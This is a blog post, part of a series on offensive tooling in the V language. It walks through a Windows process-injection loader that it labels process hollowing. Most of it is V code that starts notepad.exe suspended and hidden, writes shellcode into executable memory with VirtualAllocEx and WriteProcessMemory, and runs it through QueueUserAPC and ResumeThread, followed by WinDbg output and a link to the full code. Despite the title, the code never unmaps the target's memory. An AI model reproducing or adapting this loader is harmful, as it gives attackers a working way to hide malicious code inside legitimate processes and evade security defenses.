In the previous part of this series of posts, the injection process of a shellcode in V was detailed, in this part another injection technique called Process Hollowing will be investigated in order to mitigate process-based defenses.
Previous part in: https://alexfrancow.github.io/app-development/OffensiVe-Security-with-V-Shellcode-Execution/
Process Injection: Process Hollowing
As detailed on Mitre ATT&CK page; “Adversaries may inject malicious code into suspended and hollowed processes in order to evade process-based defenses. Process hollowing is a method of executing arbitrary code in the address space of a separate live process.
Process hollowing is commonly performed by creating a process in a suspended state then unmapping/hollowing its memory, which can then be replaced with malicious code. A victim process can be created with native Windows API calls such as CreateProcess
, which includes a flag to suspend the processes primary thread. At this point the process can be unmapped using APIs calls such as ZwUnmapViewOfSection
or NtUnmapViewOfSection
before being written to, realigned to the injected code, and resumed via VirtualAllocEx
, WriteProcessMemory
, SetThreadContext
, then ResumeThread
respectively.[1][2]”
https://attack.mitre.org/techniques/T1055/012/
V Time
The malware first creates a new process to host the malicious code in SUSPENDED
mode. This is done by calling CreateProcessW
and setting the Process Creation Flag to CREATE_SUSPENDED (0x00000004)
.
// Create a process (notepad.exe)
mut child_stdin := &u32(0)
mut child_stdout_read := &u32(0)
mut child_stdout_write := &u32(0)
cmd := "notepad.exe"
command_line := [32768]u16{}
proc_info := ProcessInformation{}
start_info := StartupInfo{
lp_reserved2: 0
lp_reserved: 0
lp_desktop: 0
lp_title: 0
cb: sizeof(C.PROCESS_INFORMATION)
h_std_input: child_stdin
h_std_output: child_stdout_write
h_std_error: child_stdout_write
dw_flags: u32(C.STARTF_USESTDHANDLES)
}
C.ZeroMemory(&start_info, sizeof(start_info))
C.ZeroMemory(&proc_info, sizeof(proc_info))
C.ExpandEnvironmentStringsW(cmd.to_wide(), voidptr(&command_line), 32768)
// CREATE_SUSPENDED 0x00000004 CREATE_NO_WINDOW 0x08000000
create_process_ok := C.CreateProcessW(0, &command_line[0], 0, 0, C.FALSE, 0x00000004|0x08000000, 0, 0, voidptr(&start_info), voidptr(&proc_info))
The primary thread of the new process is created in a suspended state, and does not run until the ResumeThread
function is called. Next, the malware needs to swap out the contents of the legitimate file with its malicious payload. This is done by unmapping the memory of the target process by calling either ZwUnmapViewOfSection
or NtUnmapViewOfSection
. These two APIs basically release all memory pointed to by a section. Now that the memory is unmapped, the loader performs VirtualAllocEx
to allocate new memory for the malware, and uses WriteProcessMemory
to write each of the malware’s sections to the target process space.
C.WaitForSingleObject(proc_info.h_process, 2000)
hprocess := proc_info.h_process
hthread := proc_info.h_thread
// Allocation Memory and Write shellcode to the allocated buffer
// MEM_COMMIT 0x00001000 MEM_RESERVE 0x00002000
// PAGE_EXECUTE_READWRITE 0x40
h_alloc := C.VirtualAllocEx(hprocess, 0, usize(sizeof(shellcode)), 0x00001000|0x00002000, 0x40)
C.WriteProcessMemory(hprocess, h_alloc, shellcode.data, shellcode.len, 0)
In V, the
size_t
was recently removed: b2ecca3966168f20d95325cb5cc93b81e2c36256, so it’s necessary change it tousize
or in this caseu32
.
The shellcode is written to notepad’s process memory and additionally, an APC routine, which now points to the shellcode, is declared. At the end, the malware resumes the suspended thread by calling ResumeThread
to take the process out of suspended state.
// Inject into the suspended thread
apc_routine := PTHREAD_START_ROUTINE(h_alloc)
C.QueueUserAPC(PAPCFUNC(apc_routine), hthread, 0)
// Resume the suspended thread
C.ResumeThread(hthread)
Debugging
0:000:x86> g
0:000:x86> lm
start end module name
00400000 0047d000 3_processHollowing T (export symbols) C:\Users\IEUser\Documents\V\3_processHollowing.exe
74e90000 74f70000 KERNEL32 (pdb symbols) c:\symbols\wkernel32.pdb\86DF9D2DE4C8EA80BFFB7DB0A30F7AC71\wkernel32.pdb
0:000:x86> x kernel32!CreateProcessW*
74ea8ba0 KERNEL32!CreateProcessWStub (_CreateProcessWStub@40)
0:000:x86> bp CreateProcessWStub
0:000:x86> x kernel32!VirtualAllocEx*
74ec5fb0 KERNEL32!VirtualAllocExStub (_VirtualAllocExStub@20)
0:000:x86> bp VirtualAllocExStub
0:000:x86> x kernel32!WriteProcessMemory*
74ec61c0 KERNEL32!WriteProcessMemoryStub (_WriteProcessMemoryStub@20)
0:000:x86> bp WriteProcessMemoryStub
0:000:x86> g
0:000:x86> g
PoC - Demo
The final code can be found in this repository. https://github.com/alexfrancow/offensive-vlang/blob/main/2_processHollowing.v